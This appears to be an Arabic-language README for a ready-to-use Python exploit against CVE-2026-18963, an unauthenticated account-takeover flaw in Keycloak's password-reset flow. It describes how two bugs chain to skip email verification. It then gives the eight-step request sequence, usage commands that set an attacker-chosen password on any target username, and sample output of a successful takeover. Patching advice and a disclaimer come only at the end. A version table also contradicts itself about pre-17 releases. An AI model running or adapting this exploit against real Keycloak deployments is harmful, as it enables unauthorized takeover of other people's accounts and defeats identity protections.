
استغلال لثغرة CVE-2026-18963، وهي استيلاء حرج على الحساب دون مصادقة في تدفق إعادة تعيين بيانات الاعتماد في Keycloak، حيث يجمع بين ثغرتين لتجاوز التحقق من البريد الإلكتروني وتعيين كلمة مرور جديدة.
CVSS 9.1 حرج · Keycloak 26.0.0 – 26.7.1 · بدون مصادقة
ثغرة أمنية حرجة في تدفق إعادة تعيين بيانات الاعتماد في Keycloak تسمح لمهاجم غير مصادق بالاستيلاء على أي حساب مستخدم دون التحقق من البريد الإلكتروني من خلال ربط خطأين في معالجة جلسة المصادقة.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-18963 |
| درجة CVSS | 9.1 (حرجة) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — آلية استعادة كلمة المرور ضعيفة |
| المتأثر | Keycloak 26.0.0 – 26.7.1 |
| المُصحَّح | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| المكوّن | keycloak-services (تدفق إعادة تعيين بيانات الاعتماد) |
| المرجع | https://github.com/keycloak/keycloak/issues/51833 |
يتم ربط خطأين:
الخطأ 1 — معالج tryAnotherWay يخزّن الملاحظة
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" في جلسة المصادقة دون نطاقها لأي معرّف تنفيذ.
الخطأ 2 — ResetCredentialEmail.action() يستدعي context.success() (متجاوزًا التحقق من البريد الإلكتروني بالكامل) كلما وُجدت تلك الملاحظة، دون التحقق من ACTION_TOKEN_USER_ID.
1. GET /realms/{realm}/protocol/openid-connect/auth
→ إنشاء جلسة OIDC، استخراج رابط نسيت كلمة المرور
2. GET /login-actions/reset-credentials?...
→ تحميل نموذج إعادة تعيين بيانات الاعتماد
3. POST tryAnotherWay=on
→ تعيين ملاحظة AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (الخطأ 1)
4. POST username={target} → نموذج المحدد
→ ربط المستخدم المستهدف بجلسة المصادقة، تشغيل خطوة البريد الإلكتروني
5. GET /login-actions/restart?...
→ اختياري: محاكاة استطلاع جلسة المتصفح
6. GET /login-actions/reset-credentials?... (نفس رابط الخطوة 2)
→ ملاحظة المحدد القديمة ما زالت موجودة → يظهر محدد بيانات الاعتماد مجددًا
7. POST username={target} → المحدد القديم
→ ResetCredentialEmail يرى الملاحظة، يستدعي context.success() (الخطأ 2)
→ يتقدم التدفق مباشرة إلى UPDATE_PASSWORD — لا يتم إرسال بريد إلكتروني
8. POST password-new={attacker_password}
→ تم الاستيلاء على الحساب
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url عنوان Keycloak الأساسي (مطلوب)
--realm النطاق المستهدف (الافتراضي: master)
--username اسم المستخدم أو البريد الإلكتروني للحساب المراد الاستيلاء عليه (مطلوب)
--new-password كلمة المرور المراد تعيينها على الحساب المستهدف (مطلوب)
--client-id معرّف عميل OIDC (الافتراضي: account)
--auth-prefix auto | new | old
auto = اكتشاف تلقائي (الافتراضي)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose طباعة تتبع HTTP كامل
--skip-version-check
# اكتشاف تلقائي لبادئة عنوان Keycloak القديمة/الجديدة
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# فرض بادئة /auth/ القديمة (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# تتبع HTTP مفصّل
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | الاستيلاء على الحساب بدون مصادقة في Keycloak
المستخدم : [email protected]
[الخطوة 0] اكتشاف الإصدار وبادئة المسار
[+] بادئة المسار: '/auth' → تم اكتشافها
[?] لم يتم اكتشاف الإصدار — المتابعة على أي حال.
الهدف : https://sso.example.com/auth/realms/myrealm
[الخطوة 1] فتح نموذج إعادة تعيين بيانات الاعتماد عبر رابط نسيت كلمة المرور في OIDC
[+] تم إنشاء جلسة OIDC
[+] تم تحميل نموذج إعادة تعيين بيانات الاعتماد
[الخطوة 2] POST tryAnotherWay=on → تعيين ملاحظة المحدد (الخطأ 1)
[+] تم استلام نموذج محدد بيانات الاعتماد
[الخطوة 3] POST username='[email protected]' → ربط المستخدم، تشغيل خطوة البريد الإلكتروني
[+] تم تشغيل خطوة البريد الإلكتروني — تم العثور على رابط استطلاع الجلسة
[الخطوة 4] GET مسار استطلاع الجلسة (اختياري)
[الخطوة 5] إعادة زيارة رابط نسيت كلمة المرور → الحصول على المحدد القديم
[+] تم استلام نموذج محدد بيانات الاعتماد القديم
[الخطوة 6] POST username إلى المحدد القديم → تشغيل الالتفاف (الخطأ 2)
[+] تم الالتفاف بنجاح — تم استلام نموذج تحديث كلمة المرور
[الخطوة 7] تعيين كلمة مرور جديدة
============================================================
[+] نجاح — اكتمل الاستيلاء على الحساب
[+] الهدف : https://sso.example.com/auth/realms/myrealm
[+] المستخدم : [email protected]
[+] كلمة المرور : Pwn3d2026!
============================================================
| إصدار Keycloak | بادئة الرابط | قابل للاستغلال |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ إذا كان ضمن نطاق 26.x |
| ≥ 17.x | /realms/ | ✅ إذا كان < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | أي | ❌ مُصحَّح |
يكتشف السكربت تلقائيًا ما إذا كان الهدف يستخدم البادئة القديمة /auth/ أو المسار الحديث، لذلك يعمل ضد كل من النشرات القديمة والجديدة دون إعداد يدوي.
التصحيح (موصى به): الترقية إلى أحد الإصدارات المُصحَّحة:
26.4.15 أو أحدث في سلسلة 26.4.x26.6.6 أو أحدث في سلسلة 26.6.x26.7.2 أو أحدث في سلسلة 26.7.x26.8.0 أو أحدثحل مؤقت: تعطيل نسيت كلمة المرور في جميع النطاقات:
Realm Settings → Login → Forgot Password → OFF
هذه الأداة مخصصة لاختبار الأمان المصرح به والأغراض التعليمية فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.